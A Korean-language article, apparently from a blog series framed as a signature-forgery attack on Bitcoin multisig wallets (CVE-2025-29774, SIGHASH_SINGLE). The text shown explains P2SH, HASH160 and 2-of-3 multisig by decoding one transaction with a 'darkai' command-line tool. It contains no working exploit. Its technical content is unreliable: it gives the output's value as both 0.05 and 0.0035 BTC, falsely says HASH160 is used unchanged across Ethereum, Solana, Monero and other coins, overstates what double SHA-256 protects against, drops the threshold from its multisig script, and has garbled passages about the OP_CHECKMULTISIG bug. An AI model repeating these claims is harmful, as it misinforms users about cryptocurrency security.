  • 편의성과 보안: P2SH는 복잡한 자금 관리 로직(예: 다중 서명 또는 조건부 지불)을 해시에 숨겨 보내는 사람과 받는 사람의 인터페이스를 단순화합니다.
  • 업계 표준: P2SH는 복잡한 보안 체계 설정을 단순화하고 대부분의 지갑 및 서비스와 호환되기 때문에 널리 채택된 표준이 되었습니다.
  • 간결성: 블록은 전체 스크립트가 아닌 복잡한 스크립트의 해시만 저장하므로 공간을 절약하고 효율성을 높입니다.
  • 유연성: 자금 소유자는 다중 서명 요구, 시간 지연 또는 기타 규칙과 같은 임의의 사용 조건을 만들 수 있으며, 이러한 조건의 해시가 여기에 저장됩니다.

스크립트 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'는 P2SH 잠금 스크립트로, 0.05 BTC를 사용하려면 해시 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 가 있는 원래 스크립트를 제공하고 그 안에 지정된 조건을 충족해야 함을 나타냅니다. 이는 편의성, 보안 및 기능성 사이의 균형을 제공하며, 이 트랜잭션에서 이 특정 스크립트를 선택한 주요 이유입니다. P2SH 스크립트의 해시 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 는 이 출력에서 자금을 사용하기 위한 조건을 결정하는 원래 스크립트(리딤 스크립트)의 특정 해싱 결과입니다.


왜 이 해시이고 다른 것이 아닌가?

  1. 해시는 사용 규칙을 지정하는 스크립트의 디지털 지문입니다.
    P2SH 주소나 출력을 생성할 때, 먼저 스크립트(비트코인 사용 조건)를 명시적으로 작성한 다음 두 가지 해싱 알고리즘을 적용합니다:
    • 스크립트에 대한 SHA-256,
    • 그런 다음 SHA-256 결과에 RIPEMD-160을 적용합니다.
      결과로 나온 20바이트 해시가 06612b7cb2027e80ec340f9e02ffe4a9a59ba762입니다. 이 해시는 생성된 정확한 시나리오를 고유하게 식별합니다.
  2. 고유성과 불변성
    암호화 해시 함수는 "눈사태 효과" 속성을 가지므로, 원래 스크립트를 아주 조금만 변경해도 완전히 다른 해시가 생성됩니다. 따라서 이 해시는 원래 스크립트의 맥락에서 고유하고 위조가 불가능합니다.
  3. 해시 사용의 목적은 간결성과 보안을 보장하는 것입니다.
    복잡하고 많은 공간을 차지할 수 있는 전체 스크립트를 각 출력에 저장하는 대신, 블록에는 그 해시만 저장됩니다. 이는 공간을 절약하고 프라이버시를 높입니다. 스크립트 자체는 자금이 사용될 때와 조건을 충족하는 사람에게만 공개됩니다.
  4. 해시 선택은 주소나 지갑 생성자가 정의한 특정 스크립트의 결과입니다.
    개발자나 자금 소유자는 원하는 조건(예: 다중 서명, 시간 지연, 기타 논리 조건)으로 스크립트를 만듭니다. 할당된 스크립트는 해시되고 이 해시는 트랜잭션 출력에 연결됩니다. 따라서 임의의 해시 선택은 없습니다. 이는 원래 스크립트의 내용과 암호화 알고리즘에 의해 결정됩니다.

  • 이 해시는 주소 소유자가 자금을 보호하기 위해 설정한 특정 스크립트와 엄격하게 연결됩니다.
  • 이는 암호화 해시 함수( SHA-256 + RIPEMD-160))를 사용하여 원래 리딤 스크립트에서 생성되었으므로, 다른 해시를 무작위로 또는 임의로 선택할 수 없습니다.
  • 이 해시는 사용 조건의 고유한 조합을 반영하며, 이것이 트랜잭션 출력 스크립트 a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287에 포함된 이유입니다.

따라서 이 특정 해시의 선택은 블록체인에서 자금에 대한 접근을 제어하는 특정 사용 조건과 출력의 정확하고 안전한 연결 필요성에 의해 결정됩니다. 이 모든 것은 암호화 해시 함수의 속성, 그 고유성 및 원래 데이터의 역복구 불가능성에 의해 보장됩니다.


P2SH 메커니즘: 비트코인 네트워크에서의 의미, 작동 원리 및 보안

비트코인 개발자들은 블록체인 네트워크의 보안을 보장하고 기능을 확장하는 핵심 혁신으로서 P2SH (Pay-to-Script-Hash) 메커니즘을 코드에 작성했습니다. 이 스크립트의 구조와 작동 원리, 기존 트랜잭션과의 차이점, 그리고 디지털 자산을 저장하고 보호하기 위해 이 접근 방식을 선택한 이유를 살펴보겠습니다.

전통적으로 비트코인 트랜잭션은 Pay-to-Pubkey-Hash (P2PKH) 방식을 사용하여 작동했습니다. 이 방식에서는 수신자의 공개 키 해시를 사용하여 자금이 "잠깁니다". 이러한 자금을 사용하려면 사용자가 자신의 디지털 서명과 공개 키를 제공해야 하며, 네트워크가 이를 확인합니다.

그러나 P2PKH 외에도 인터페이스는 제한적이었습니다. 비트코인 스크립트는 다중 서명에서 타임락 및 기타 스마트 계약 조건에 이르기까지 훨씬 더 복잡한 지출 조건을 허용하기 때문입니다. 문제는 길고 복잡한 스크립트가 불가피하게 트랜잭션의 크기를 증가시키고 사용성을 저하시킨다는 점이었습니다.


이러한 복잡한 시나리오와의 상호 작용을 단순화하기 위해 2012년에 P2SH 개념이 도입되었으며 , Gavin Andresen에 의해 BIP 16에서 표준화되었습니다. P2SH의 핵심은 scriptPubKey의 전체 지출 조건 스크립트를 암호화 해시 – 소위 스크립트 해시로 대체하는 것입니다.


Digital Signature Forgery Attack: CVE-2025-29774 취약점과 SIGHASH_SINGLE 버그가 가짜 RawTX로 다중 서명 지갑 운영 방법을 위협하는 방식


P2SH 출력 스크립트 구조는 어떻게 작동하나요?

역직렬화 결과로 지정된 스크립트를 살펴보겠습니다:

root@kitploit:~
OP_HASH160 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 OP_EQUAL

이 스크립트는 표준 P2PKH와 달리 공개 키 해시 대신 redeemScript – 자금을 사용할 수 있는 조건 집합의 해시를 저장합니다.

  • OP_HASH160 – 데이터(이 경우 redeemScript)를 먼저 SHA-256 알고리즘으로, 그 다음 RIPEMD-160으로 해싱합니다.
  • 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 — 20바이트 해시 redeemScript입니다.
  • OP_EQUAL – 제공된 redeemScript가 이 해시와 같은지 확인합니다.

P2SH 출력을 통한 자금 사용 과정

이러한 자금을 사용하려면 이 출력을 참조하는 트랜잭션의 입력(scriptSig)에 다음을 전송해야 합니다:

  1. 직렬화된 redeemScript – 조건이 해시로 인코딩된 원본 스크립트입니다.
  2. 잠금 해제 데이터 – redeemScript의 조건을 충족하는 서명 또는 기타 증명입니다.

트랜잭션을 처리할 때 네트워크 노드는:

  • redeemScript를 해싱하여 출력에 지정된 해시와 비교합니다.
  • 해시가 일치하면(즉, OP_EQUAL이 true를 반환하면) redeemScript가 역직렬화되어 실행됩니다.
  • redeemScript가 올바르게 실행되면, 즉 모든 지출 조건이 충족되면 트랜잭션이 유효한 것으로 간주됩니다.

따라서 P2SH는 지출 조건을 제시하고 확인하는 책임을 발신자(필요한 스크립트를 생성하는 사람)에서 지출자로 이전합니다.


이러한 메커니즘을 선택했을 때의 장점과 중요성

1. 유연성 및 복잡한 시나리오

P2SH를 사용하면 임의의, 종종 다중 레벨 조건을 가진 주소를 생성할 수 있습니다 – 예를 들어, 다중 서명 요구사항(2/3, 3/5 등), 시간 제한, 분배 로직 등이 있습니다. 이 경우 발신자는 기술적 세부 사항을 다루지 않고 간단히 컴팩트한 해시 주소로 자금을 보냅니다.


2. 공간 절약

전체 스크립트를 블록체인에 저장하는 대신, 트랜잭션에는 해당 해시만 저장됩니다. 이는 네트워크 부하를 줄이고 블록 크기를 줄이며 트랜잭션 확인 속도를 높입니다.


3. 향상된 보안

redeemScript는 지출 시에만 공개되고 확인되므로 조건의 기밀성을 높이고 무단 액세스 시도를 더 어렵게 만듭니다. 암호화 해시 함수의 사용은 위조 및 변조에 대한 보호를 보장합니다 – 스크립트의 약간의 편차라도 다른 해시를 초래하고 네트워크는 트랜잭션 수락을 거부할 것입니다.


4. 사용자 및 프로그래머를 위한 편의성

P2SH는 비트코인에서 복잡한 스마트 계약의 사용을 표준화하고 단순화하여 통합을 간소화하고 다양한 지갑 및 서비스와의 호환성을 높입니다.


사용 예: 다중 서명 지갑

전형적인 예는 트랜잭션을 완료하기 위해 5명의 참가자 중 2명의 서명이 필요한 지갑입니다. P2SH를 사용하면:

  • 출력에는 해당 스크립트의 해시가 포함됩니다.
  • 자금을 사용하려면 서명이 포함된 전체 다중 서명 활성화 스크립트를 scriptSig에 전달해야 합니다.
  • 네트워크는 해시의 일관성과 서명의 유효성을 확인합니다.

이로 인해 P2SH는 기업 계정, 합작 투자 및 액세스 제어가 필요한 기타 상황에 이상적입니다. Pay-to-Script-Hash (P2SH) 메커니즘은 비트코인 아키텍처의 기본 부분으로, 다음 사이의 균형을 제공합니다:

  • 보안 (엄격한 조건과 암호화를 통한 자금 보호),
  • 효율성 (모든 세부 사항이 아닌 해시만 저장),
  • 유연성 (모든, 심지어 복잡한 지출 조건 지원),
  • 편의성 (간단한 주소 형식 및 액세스 표준).

Digital Signature Forgery Attack: CVE-2025-29774 취약점과 SIGHASH_SINGLE 버그가 가짜 RawTX로 다중 서명 지갑 운영 방법을 위협하는 방식


첫 번째 트랜잭션 입력 ( ins) 추출에 대한 암호 분석

해시가 6102bfd4bad33443bcb99765c0751b6b8e4e65f4db4e3b65324c5e9e3dac8132인 트랜잭션의 입력 중 하나에 대한 정보를 얻기 위해 명령을 실행해 보겠습니다. 이러한 입력의 분석은 스크립트 수준에서 자금 사용 권한 부여 메커니즘을 이해하는 데 중요합니다.

root@kitploit:~
!./darkai -scriptsig 6102bfd4bad33443bcb99765c0751b6b8e4e65f4db4e3b65324c5e9e3dac8132

첫 번째 트랜잭션 입력 ( ins) 추출 결과는 다음과 같습니다:

root@kitploit:~
{
'script': '00483045022100e5d7c59ea1fb5d0285e755dfc09634e1e3af36d12950b9b5d5f92b136021b3d202202c181129443b08dcfb8d9ced30187186c57c96f9cdb3f3914e0798682ea35d2b03493046022100e1f8dbad16926cfa3bf61b66e23b3846323dcabf6c75748bcfad762fc50bfaf402210081d955160b5f8d2b9d09d8838a2cf61f5055009d9031e0e106e19ebab234d949034c695221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53ae',
'outpoint': {
'index': 1,
'hash': 'ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577'
},
'sequence': 4294967295
}

1. ScriptSig 구성 요소 ( script) 상세 분석

  • script 필드의 값은 scriptSig이며 , 해당 이전 트랜잭션 출력의 잠금을 해제하는 데 사용됩니다.
  • 내용은 16진수 형식의 긴 바이트 시퀀스입니다.
  • 이 경우, 다음을 포함하는 5개 구성 요소 스크립트입니다:
    • 일반적으로 개인 키 소유권을 확인하기 위한 ECDSA 프로토콜에 따른 표준 디지털 서명입니다.
    • 서명 확인에 필요한 공개 키입니다.
    • 다중 서명 작업을 나타내는 구조(여러 공개 키 및 서명)가 있을 수 있습니다.

스크립트 구조 분석:

  • 00으로 시작하며, scriptSig의 맥락에서 OP_0 을 의미할 수 있으며 , 전통적으로 다중 서명 시나리오(예: 스텁이 필요한 Pay-to-Script-Hash 다중 서명 표준의 경우)에서 사용됩니다.
  • 다음으로 DER 형식의 서명이 옵니다(예: 3045...). 이는 일반적으로 서명 세부 정보를 포함하는 일련의 바이트로 구성됩니다.
  • 서명 뒤에는 공개 키(길이와 구조상, 약 33바이트이므로 압축 형식일 가능성이 높음)가 이어지며, 이는 서명이 올바른 소유자에게 속해 있음을 확인합니다.
  • 일반적으로 스크립트 형식은 redeemScript 또는 P2SH 다중 서명 트랜잭션에 일반적인 구문에 해당합니다.

2. Outpoint (outpoint)

  • 이 입력에서 사용되는 이전 출력에 대한 데이터를 포함합니다:
    • 'hash': 'ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577'— 이전 트랜잭션의 해시입니다.
    • 'index': 1– 잠금 해제에 사용되는 두 번째 출력(0부터 번호 지정)을 나타냅니다.
  • 따라서 입력은 이전 트랜잭션의 특정 출력을 참조하여 트랜잭션 작성자가 이를 사용할 권리가 있음을 증명합니다.

3. Sequence (sequence)

  • 값 4294967295 (0xFFFFFFFF)은 최대 32비트 숫자입니다.
  • 비트코인에서 이 필드는 입력이 Replace-By-Fee (RBF) 메커니즘에 참여하지 않거나 Relative Timelock에 시간/잠금이 없음을 나타내는 역할을 합니다.
  • 고정 입력에 대해 기본적으로 자주 사용됩니다.

보안 맥락에서 scriptSig의 중요성

  • ScriptSig는 이전 출력의 잠금 스크립트에 의해 보호되는 자금 잠금 해제를 위한 데이터입니다.
  • P2SH 트랜잭션(종종 다중 서명의 경우)의 경우 scriptSig에는 다음이 포함됩니다:
    • 자금 사용 권리를 확인하는 참가자의 서명입니다.
    • 이전 출력의 잠금 스크립트에 해시가 지정된 원본 redeemScript입니다.
  • 성공적인 scriptSig 확인은 트랜잭션 작성자가 실제로 자금을 처분하는 데 필요한 권한을 가지고 있음을 보장합니다.

주어진 트랜잭션 해시로 첫 번째 트랜잭션 입력 ( ins) 추출에 대한 암호 분석 결과 다음을 보여주었습니다:


  • 첫 번째 트랜잭션의 입력에는 디지털 서명과 공개 키를 포함한 복잡한 잠금 해제 스크립트가 포함되어 있습니다.
  • 다른 트랜잭션 ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577:1의 특정 출력에 대한 참조가 사용됩니다.
  • 최대 시퀀스 값은 특별한 잠금 또는 RBF가 없음을 나타냅니다.
  • 아마도 여러 서명이 자금 사용 확인에 필요한 P2SH 다중 서명 트랜잭션에 관한 것입니다.

따라서 얻은 데이터는 자금 사용 권리 확인 메커니즘에 대한 더 깊은 이해를 가능하게 하며, 비트코인 네트워크의 보안을 보장하고 비트코인 스크립트 기반 스마트 계약의 개발 및 감사에도 사용됩니다.


Digital Signature Forgery Attack: CVE-2025-29774 취약점과 SIGHASH_SINGLE 버그가 가짜 RawTX로 다중 서명 지갑 운영 방법을 위협하는 방식

두 번째 출력 ( outs) 추출 결과 상세 분석

식별자 ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577를 가진 트랜잭션의 출력 중 하나에 대한 정보를 얻기 위해 명령을 실행해 보겠습니다.

root@kitploit:~
!./darkai -redeemscript ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577

outs 구체적으로 이 트랜잭션의 두 번째 출력 ( )인 인덱스 1 요소가 추출되었습니다 .


얻은 결과:

root@kitploit:~
{
'value': 350000,
'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'
}

1. 수신된 데이터 필드 value 상세 분석

  • 크기: 350,000 사토시.
  • 이 자금의 양은 지정된 트랜잭션의 두 번째 출력에 있으며, 해당 스크립트에 지정된 조건이 충족되면 사용될 수 있습니다.
  • BTC 변환: 350,000 사토시 = 0.0035 BTC
Digital Signature Forgery Attack: CVE-2025-29774 취약점과 SIGHASH_SINGLE 버그가 가짜 RawTX로 다중 서명 지갑 운영 방법을 위협하는 방식

2. 필드 값 script

  • 특징:
    스크립트 a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287는 P2SH (Pay-to-Script-Hash) 형식의 고전적인 잠금 스크립트(scriptPubKey)입니다 .
  • 스크립트 해석:
    • a9— OP_HASH160은 입력 데이터에 먼저 SHA-256을 적용한 다음 RIPEMD-160을 적용하는 연산자입니다.
    • 14— 다음 값의 길이(20바이트)는 해시 크기입니다.
    • 06612b7cb2027e80ec340f9e02ffe4a9a59ba762— 20바이트 해시, 일명 스크립트 해시 는 이러한 자금의 지출을 제어하는 redeem 스크립트의 고유한 표현입니다.
    • 87— OP_EQUAL은 두 값을 비교하고 같으면 true를 반환하는 연산자입니다.

따라서 스크립트는 잠금을 해제(자금 사용)하기 위해 사용자가 해시가 이 값과 일치하는 redeem 스크립트를 제시해야 합니다.


P2SH 맥락에서의 redeem script의 의미와 역할

  • Redeem script는 자금 사용 조건(예: 다중 서명, 시간 제한이 있는 복잡한 시나리오 등)을 설정하는 원본 스크립트입니다.
  • 트랜잭션 출력은 redeem script의 해시만 저장하여 공간을 절약하고 조건의 세부 정보를 보호합니다.
  • 이 출력에 투자된 자금을 사용하려면, 새 트랜잭션을 생성할 때 사용자는 scriptSig에 올바르게 디코딩되어 네트워크에 의해 검증되는 직렬화된 redeem script를 제공해야 합니다.

결과의 전반적 의미

  • 트랜잭션 ID ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577는 0.0035 BTC를 포함하는 출력과 연결됩니다.
  • 이 자금은 해시 06612b7cb2027e80ec340f9e02ffe4a9a59ba762를 가진 스크립트에 의해 제어되는 P2SH 주소에 묶여 있습니다.
  • 이 자금을 사용하려면 이 해시에 해당하는 redeem script를 제시하고 그 안에 명시된 조건을 충족해야 합니다.

Digital Signature Forgery Attack: How CVE-2025-29774 Vulnerabilities and the SIGHASH_SINGLE Bug Threaten Multi-Signature Wallets Methods of Operations with Fake RawTX

획득한 정보의 광범위한 맥락에서의 중요성

  • 이 결과는 자금이 실제로 Pay-to-Script-Hash 조건을 가진 출력에 있음을 확인할 수 있게 해줍니다.
  • 이러한 출력의 구조를 이해하는 것은 보안 분석, 복잡한 할당 시나리오 개발 및 지출 조건 검증에 중요합니다.
  • P2SH를 사용하면 비트코인 네트워크에서 자금을 관리하기 위한 안전하고 효율적인 메커니즘을 제공하여 스마트 계약 및 보안 지갑 생성을 가능하게 합니다.

수신된 정보는 두 번째 트랜잭션 출력 레코드 ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577가 hash160 값 06612b7cb2027e80ec340f9e02ffe4a9a59ba762를 가진 표준 P2SH 스크립트에 의해 제어되는 0.0035 BTC의 금액을 저장함을 확인합니다. 이 자금을 관리하려면 해당 redeem script를 제시해야 하며, 이는 비트코인 관리에 높은 수준의 보안과 유연성을 제공합니다.


scriptSig 복호화를 확인해 보겠습니다:

root@kitploit:~
OP_FALSE 304502... 304602... 5221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53ae

HASH160를 얻기 위해 명령을 실행해 보겠습니다. 비트코인 개발자들은 20바이트 해시(16진수)에 대한 표준을 설정했으며, 이는 스크립트 및 공개 키의 축약 식별자를 나타내기 위해 비트코인(BTC), 이더리움(ETH), 테더(USDT), BNB(BNB), 솔라나(SOL), 리플(XRP), 카르다노(ADA), 도지코인(DOGE), USDC(USDC), 폴카닷(DOT), 아발란체(AVAX), 시바이누(SHIB), 스텔라(XLM), 트론(TRX), 체인링크(LINK), 라이트코인(LTC), 비트코인캐시(BCH), 모네로(XMR)와 같은 다른 인기 암호화폐에서 변경 없이 널리 사용됩니다.


명령을 실행해 보겠습니다:

root@kitploit:~
!./darkai -hexdata 5221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53ae

처리 과정:

  1. 16진수 형식으로 표현된 원래 문자열은 바이트 시퀀스로 변환됩니다(16진수에서 이진 형식으로 디코딩). 이 시퀀스는 직렬화된 스크립트(redeem script) 또는 비트코인 스크립트의 유사한 구조입니다.
  2. 수신된 바이트는 SHA-256(원샷 해시) 알고리즘을 사용하여 해시되며, 그 결과는 RIPEMD-160 암호화 함수에 의해 처리됩니다.
  3. SHA-256 바이너리 데이터의 결과 RIPEMD-160 해시가 문자열로 얻어집니다:
root@kitploit:~
06612b7cb2027e80ec340f9e02ffe4a9a59ba762

이 20바이트 해시(16진수)를 HASH160이라고 하며, 비트코인에서 스크립트 및 공개 키의 축약 식별자를 나타내는 데 널리 사용됩니다.


결과의 의미와 맥락

  • RIPEMD-160(SHA-256(data)) 해싱 프로세스는 HASH160으로 알려져 있으며, 비트코인에서 P2SH(Pay-to-Script-Hash)를 포함한 주소 및 스크립트 생성을 위한 표준입니다. HASH160은 블록체인 공간을 절약하는 고유하고 간결한 식별자를 제공합니다.
  • 이중 해싱(SHA-256, 이어서 RIPEMD-160)의 사용은 두 함수의 강력한 암호화 속성(충돌 저항성, 일방향성, 공격 저항성)을 결합합니다.
  • 결과 해시는 redeem script의 스크립트 해시, 즉 P2SH 주소에 잠긴 자금에 대한 액세스를 제어하는 스크립트에 해당합니다.
  • 특히, 이 HASH160은 특정 트랜잭션 출력의 잠금 스크립트(scriptPubKey)에 나타나며, 지출 시 동일한 해시와 올바른 서명을 가진 원본 redeem script 자체를 제공해야 합니다.

기술적 세부 사항 및 설명

  • 비트코인은 주소와 스크립트를 보호하기 위해 SHA-256과 RIPEMD-160의 이중 해싱 개념을 가지고 있습니다.
  • 단순한 256비트 SHA-256 출력 대신 HASH160을 사용하면 해시 길이가 32바이트에서 20바이트로 줄어들어 네트워크의 저장 공간과 데이터 크기가 줄어듭니다.
  • HASH160은 주로 P2SH 주소와 레거시 P2PKH 주소를 생성하는 데 사용됩니다.

암호화 해시 함수를 사용하여 비트코인 스크립트를 처리하는 주요 단계입니다.
직렬화된 스크립트나 공개 키를 HASH160으로 변환하면 비트코인 블록체인에서 데이터의 효율적인 식별, 인덱싱 및 보호가 가능합니다.

수신된 해시:

root@kitploit:~
{'06612b7cb2027e80ec340f9e02ffe4a9a59ba762'}

팀은 복잡한 스크립트와 비트코인 네트워크에서 트랜잭션을 저장하고 검증하는 데 사용되는 간결한 형식 간의 연결 역할을 하는 정확한 해시를 생성했습니다.


Digital Signature Forgery Attack: How CVE-2025-29774 Vulnerabilities and the SIGHASH_SINGLE Bug Threaten Multi-Signature Wallets Methods of Operations with Fake RawTX

사토시가 이중 SHA-256을 선택한 이유와 암호화 강도에 미치는 영향

사토시 나카모토는 비트코인의 해싱 알고리즘에 SHA-256 이중 해싱(즉, SHA-256을 연속으로 두 번 적용)을 사용하기로 선택했습니다. 이는 네트워크의 암호화 강도와 보안을 향상시키는 여러 중요한 이유 때문입니다.

이중 SHA-256 선택 이유

  1. 다양한 공격에 대한 저항성 향상
    SHA-256의 단일 적용은 이미 높은 암호화 저항성을 가지며 충돌 및 사전 이미지에 대해 저항력이 있습니다. 그러나 해시 함수의 이중 적용(먼저 원본 데이터에 SHA-256, 그 결과에 다시 SHA-256)은 해시에 대한 분석과 공격을 더욱 복잡하게 만듭니다.
    이로 인해 충돌을 성공적으로 선택하거나 원본 데이터를 역으로 복구할 확률이 줄어들고, 다양한 옵션을 선택하는 데 더 많은 노력이 필요하며, 알고리즘의 특정 구현에서 가능한 약점으로부터 보호합니다.
  2. 입력 데이터 길이 문제에 대한 보호
    이중 SHA-256은 내부 해시 구성의 동작과 데이터 마크업에서 패딩 비트 처리를 고려하여 예방적 보안의 추가 계층을 제공합니다. 이는 데이터 포맷팅과 관련된 잠재적 공격을 최소화합니다.
  3. 우수한 암호화 관행 준수
    이중 해싱은 여러 암호화 프로토콜에서 잘 확립된 보안 기술입니다. 예를 들어, 체크섬과 디지털 서명은 이중 암호화 또는 이중 해싱을 사용합니다. 이는 보안 체인의 강도를 높입니다.
  4. 입증된 보안과 광범위한 지원
    SHA-256은 미국 국가안보국(NSA)이 개발하고 미국 국립표준기술연구소(NIST)가 발표한 SHA-2 제품군의 구성원입니다. 이 알고리즘은 오늘날 가장 안전한 알고리즘 중 하나로 간주되며, 이중 사용은 최대의 보안을 제공합니다.

이것이 암호화 강도에 어떤 영향을 미칩니까?

  • 충돌 및 사전 이미지 저항성
    각 SHA-256 라운드는 충돌 저항성이 매우 높습니다. 동일한 해시를 가진 두 개의 입력을 찾는 것이 매우 어렵습니다. 이중 해싱은 공격자가 연속된 두 개의 SHA-256에 대한 충돌을 찾아야 하므로 계산 복잡성이 크게 증가하여 이 보장을 강화합니다.
  • 눈사태 효과가 있는 일방향 함수
    이중 적용은 "눈사태 효과"를 향상시켜 입력 데이터의 미세한 변화가 출력 해시에 급격한 변화를 일으켜 패턴 감지 및 역공학을 어렵게 만듭니다.
  • 향상된 암호해독 저항성
    이중 SHA-256은 단일 반복에서 발견될 수 있는 잠재적인 구현 약점이나 예상치 못한 취약점으로부터 보호하여 양자 또는 고전적 컴퓨팅 도구를 사용한 공격의 위험을 최소화합니다.
  • 작업 증명(PoW) 및 블록체인 보안에의 적용 가능성
    비트코인의 PoW 메커니즘은 특정 난이도를 충족해야 하는 블록 해시 계산에 의존합니다. 이중 해싱은 블록 위조에 대한 추가 장벽을 만들어 블록체인에 대한 신뢰성과 신뢰를 증가시킵니다. 5.

SHA-256의 이중 사용은 사토시 나카모토가 전체 비트코인 시스템에 추가 보안 계층과 강력한 암호화 강도를 제공하기 위한 의도적인 선택입니다. 이 설계는 충돌 위험을 최소화하고 일방향성을 향상시키며 블록체인 네트워크의 데이터를 안전하게 보호하여 시스템의 트랜잭션 보안 및 합의를 위한 견고한 기반을 만듭니다. 따라서 이중 SHA-256은 고급 암호화 기술과 분산 시스템을 결합한 비트코인 아키텍처의 핵심 요소입니다.


Digital Signature Forgery Attack: How CVE-2025-29774 Vulnerabilities and the SIGHASH_SINGLE Bug Threaten Multi-Signature Wallet Operational Methods with Fake RawTX


비트코인의 다중 서명: redeemScript의 역할과 OP_CHECKMULTISIG 명령어

현대 비트코인 트랜잭션의 보안과 유연성은 자금 사용에 대한 복잡한 조건을 허용하는 스크립팅 시스템을 기반으로 합니다. 핵심 메커니즘 중 하나는 다중 서명(multisig)으로, 가능한 서명 집합에서 여러 개의 유효한 디지털 서명이 있을 때만 자금을 사용할 수 있습니다. 이 글에서는 이것이 비트코인에서 어떻게 구현되는지, redeemScript가 무엇인지, OP_CHECKMULTISIG 명령어가 어떻게 작동하는지, 그리고 그러한 접근 방식이 왜 요구되는지 자세히 살펴보겠습니다.

redeemScript란 무엇인가?

비트코인의 맥락에서 redeemScript는 Pay-to-Script-Hash(P2SH) 형식의 트랜잭션 출력에 저장된 자금 사용 조건을 포함하는 스크립트입니다. 전체 스크립트를 블록체인에 저장하는 대신 redeemScript 해시가 출력에 저장되어 공간을 절약하고 사용 시점까지 조건의 세부 사항을 숨깁니다.


RedeemScript는 예를 들어 여러 공개 키와 임계값 서명 수를 포함할 수 있습니다. 이것이 바로 다중 서명 지갑이 구현하는 것입니다.


OP_CHECKMULTISIG는 어떻게 작동하나요?

OP_CHECKMULTISIG 명령어를 고려해 보겠습니다: 목적과 작동 방식, 여기서 다중 서명 검사를 구현하는 redeemScript의 주요 요소는 OP_CHECKMULTISIG입니다.

  • 명령어는 스택에서 두 그룹의 데이터를 입력으로 받습니다:
    • N개의 공개 키 (예: 3개의 공개 키)
    • M개의 서명 (예: 2개의 서명), 여기서 M ≤ N은 트랜잭션을 확인하는 데 필요한 서명 임계값입니다.
  • 트랜잭션을 검증하기 위해 OP_CHECKMULTISIG는 각 M 서명이 N개의 공개 키 중 하나에 의해 올바르게 서명되었는지 확인합니다.
  • 모든 서명이 유효하고 redeemScript의 키와 일치하면 명령문은 true를 반환하여 자금 사용을 허용합니다.

스택에서 요소 제거와 관련된 특징 및 버그

OP_CHECKMULTISIG 구현의 역사적인 버그로 인해 실행 중에 스택에서 하나의 추가 요소(사용되지 않는 값)가 제거됩니다. 이 문제를 방지하기 위해 scriptSig는 시작 부분에 특수 요소 OP_FALSE(값 0)를 사용하여 이 버그를 보상하고 잠재적 취약점을 방지합니다.


  • 다음으로 스택에서 하나의 추가 요소를 제거하는 OP_CHECKMULTISIG의 구현을 살펴보겠습니다. 이 버그를 사용하여 공격자는 OP_CHECKMULTISIG를 잠재적 취약점으로 보상합니다.
  • 따라서 다중 서명을 위한 scriptSig 구조는 다음과 같습니다: 스크립트의 첫 번째 요소는 더미 OP_FALSE이며 OP_FALSE <signature1> <signature2> ... <redeemScript>.

실용 예제: 2/3 다중 서명

redeemScript 코드 기반:

root@kitploit:~
023927... 03d2c0... 03ec01... 3 OP_CHECKMULTISIG
  • 여기에는 3개의 공개 키가 선언되어 있습니다.
  • 임계값은 2개의 서명으로, 이 세 개 중 두 개가 성공적인 검증에 필요합니다.
  • OP_CHECKMULTISIG 연산은 제공된 두 서명(scriptSig 내)이 세 개의 키 중 두 개에 해당하고 유효한지 확인합니다.
  • scriptSig의 OP_FALSE는 추가 값을 제거하는 버그를 보상합니다.

다중 서명 지갑의 중요성과 이점

  • 향상된 보안. 지갑 소유자는 자금에 대한 제어권을 여러 사람이나 장치에 분산하여 단일 무단 지출 가능성을 제거할 수 있습니다.
  • 유연성. 예를 들어 "3명 중 2명", "5명 중 3명"과 같이 다양한 조건으로 다양한 체계를 구현할 수 있습니다.
  • 법적 효율성: 다중 서명은 공유 자산 관리를 보장하기 위해 기업 환경에서 자주 사용됩니다.

기술적 및 실용적 맥락

  • 다중 서명 시나리오는 P2SH 및 SegWit 트랜잭션에서 널리 사용됩니다.
  • OP_CHECKMULTISIG 명령어는 여러 서명을 확인해야 하므로 블록체인에서 가장 리소스 집약적인 작업 중 하나입니다. 블록당 서명 작업(sigops) 수에는 프로토콜 수준 제한이 있습니다.
  • OP_FALSE와 관련된 역사에도 불구하고 이 메커니즘은 신뢰성을 입증했으며 광범위하게 적용되었습니다.

